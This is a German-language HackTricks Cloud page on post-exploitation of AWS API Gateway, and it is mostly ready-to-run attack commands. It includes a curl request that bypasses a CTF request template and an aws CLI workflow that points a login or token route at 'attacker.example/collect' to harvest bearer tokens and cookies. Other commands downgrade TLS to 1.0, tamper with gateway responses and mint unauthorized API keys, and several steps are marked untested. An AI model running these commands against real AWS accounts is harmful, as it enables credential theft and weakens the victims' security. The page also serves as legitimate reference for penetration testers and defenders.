AWS - API Gateway Post Exploitation
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Unterstütze HackTricks
- Sieh dir die Abonnementpläne an!
- Tritt der 💬 Discord group oder der telegram group bei oder folge uns auf Twitter 🐦 @hacktricks_live.
- Teile Hacking-Tricks, indem du PRs an die HackTricks und HackTricks Cloud GitHub-Repos einreichst.
API Gateway
Für weitere Informationen siehe:
Zugriff auf nicht exponierte APIs
Du kannst einen Endpoint in https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint mit dem Service com.amazonaws.us-east-1.execute-api erstellen, den Endpoint in einem Netzwerk exponieren, auf das du Zugriff hast (potenziell über eine EC2-Maschine) und eine Security Group zuweisen, die alle Verbindungen erlaubt.
Dann kannst du von der EC2-Maschine aus auf den Endpoint zugreifen und somit das Gateway-API aufrufen, das zuvor nicht exponiert war.
Bypass Request body passthrough
This technique was found in this CTF writeup.
Wie in der AWS documentation im Abschnitt PassthroughBehavior angegeben, führt der Standardwert WHEN_NO_MATCH, beim Überprüfen des Content-Type-Headers der Anfrage, die Anfrage ohne Transformation an das Backend weiter.
Daher hatte das API Gateway im CTF ein Integration-Template, das verhinderte, dass die Flag in einer Antwort exfiltriert wurde, wenn eine Anfrage mit Content-Type: application/json gesendet wurde:
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
Wenn man jedoch eine Anfrage mit Content-type: text/json sendet, würde das diesen Filter umgehen.
Schließlich, da das API Gateway nur Get und Options erlaubte, war es möglich, eine beliebige dynamoDB-Abfrage ohne Begrenzung zu senden, indem man eine POST-Anfrage mit der Abfrage im Body schickte und den Header X-HTTP-Method-Override: GET verwendete:
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
Usage Plans DoS
Im Enumeration-Abschnitt kannst du sehen, wie du den usage plan der Keys erhältst. Wenn du den Key hast und er auf X Verwendungen pro Monat begrenzt ist, könntest du ihn einfach verwenden und dadurch einen DoS verursachen.
Der API Key muss nur in einem HTTP-Header namens x-api-key enthalten sein.
Swap Route Integration To Exfil Traffic (HTTP APIs / apigatewayv2)
Wenn du eine HTTP API integration aktualisieren kannst, kannst du eine sensible Route (z. B. /login, /token, /submit) auf einen vom Angreifer kontrollierten HTTP-Endpunkt umleiten und stillschweigend Header und Body sammeln (Cookies, Authorization Bearer-Tokens, Session-IDs, API Keys, von internen Jobs gesendete Secrets, etc.).
Beispielworkflow:
REGION="us-east-1"
API_ID="<http_api_id>"
# Find routes and the integration attached to the interesting route
aws apigatewayv2 get-routes --region "$REGION" --api-id "$API_ID"
ROUTE_ID="<route_id>"
INTEGRATION_ID="$(aws apigatewayv2 get-route --region "$REGION" --api-id "$API_ID" --route-id "$ROUTE_ID" --query 'Target' --output text | awk -F'/' '{print $2}')"
# Repoint the integration to your collector (HTTP_PROXY / URL integration)
COLLECTOR_URL="https://attacker.example/collect"
aws apigatewayv2 update-integration --region "$REGION" --api-id "$API_ID" --integration-id "$INTEGRATION_ID" --integration-uri "$COLLECTOR_URL"
Hinweise:
- Bei HTTP APIs treten Änderungen normalerweise sofort in Kraft (im Gegensatz zu REST APIs, bei denen Sie typischerweise eine Bereitstellung erstellen müssen).
- Ob Sie auf eine beliebige URL verweisen können, hängt vom Integrationstyp/-konfiguration ab; in einigen Fällen können Sie beim Patchen auch den Integrationstyp ändern.
apigateway:UpdateGatewayResponse, apigateway:CreateDeployment
Ein Angreifer mit den Berechtigungen apigateway:UpdateGatewayResponse und apigateway:CreateDeployment kann eine vorhandene Gateway Response so ändern, dass sie benutzerdefinierte Header oder Antwortvorlagen enthält, die sensible Informationen leak oder bösartige Skripte ausführen.
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"
# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Potenzielle Auswirkungen: Leakage von sensiblen Informationen, Ausführen bösartiger Skripte oder unbefugter Zugriff auf API-Ressourcen.
Note
Weitere Tests erforderlich
apigateway:UpdateStage, apigateway:CreateDeployment
Ein Angreifer mit den Berechtigungen apigateway:UpdateStage und apigateway:CreateDeployment kann eine bestehende API Gateway stage ändern, um den Datenverkehr auf eine andere Stage umzuleiten oder die Cache-Einstellungen zu ändern, um unbefugten Zugriff auf zwischengespeicherte Daten zu erlangen.
API_ID="your-api-id"
STAGE_NAME="Prod"
# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Mögliche Auswirkungen: Unbefugter Zugriff auf zwischengespeicherte Daten, Unterbrechung oder Abfangen von API-Verkehr.
Note
Noch zu testen
apigateway:PutMethodResponse, apigateway:CreateDeployment
Ein Angreifer mit den Berechtigungen apigateway:PutMethodResponse und apigateway:CreateDeployment kann die Methodenantwort einer bestehenden API Gateway REST API-Methode so ändern, dass benutzerdefinierte Header oder Antwortvorlagen hinzugefügt werden, die sensible Informationen leak oder bösartige Skripte ausführen.
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"
# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Potenzielle Auswirkungen: Offenlegung sensibler Informationen, Ausführen bösartiger Skripte oder unbefugter Zugriff auf API-Ressourcen.
Note
Test erforderlich
apigateway:UpdateRestApi, apigateway:CreateDeployment
Ein Angreifer mit den Berechtigungen apigateway:UpdateRestApi und apigateway:CreateDeployment kann die Einstellungen der API Gateway REST API ändern, um die Protokollierung zu deaktivieren oder die minimale TLS-Version zu ändern, wodurch die Sicherheit der API potenziell geschwächt wird.
API_ID="your-api-id"
# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Potenzielle Auswirkungen: Schwächung der Sicherheit der API, wodurch möglicherweise unautorisierter Zugriff ermöglicht oder sensible Informationen offengelegt werden.
Note
Tests erforderlich
apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey
Ein Angreifer mit den Berechtigungen apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, und apigateway:CreateUsagePlanKey kann neue API keys erstellen, sie mit usage plans verknüpfen und diese keys dann für unautorisierten Zugriff auf APIs verwenden.
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')
# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
Potentielle Auswirkungen: Unbefugter Zugriff auf API-Ressourcen, Umgehung von Sicherheitskontrollen.
Note
Test erforderlich
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Unterstütze HackTricks
- Sieh dir die Abonnementpläne an!
- Tritt der 💬 Discord group oder der telegram group bei oder folge uns auf Twitter 🐦 @hacktricks_live.
- Teile Hacking-Tricks, indem du PRs an die HackTricks und HackTricks Cloud GitHub-Repos einreichst.
HackTricks Cloud

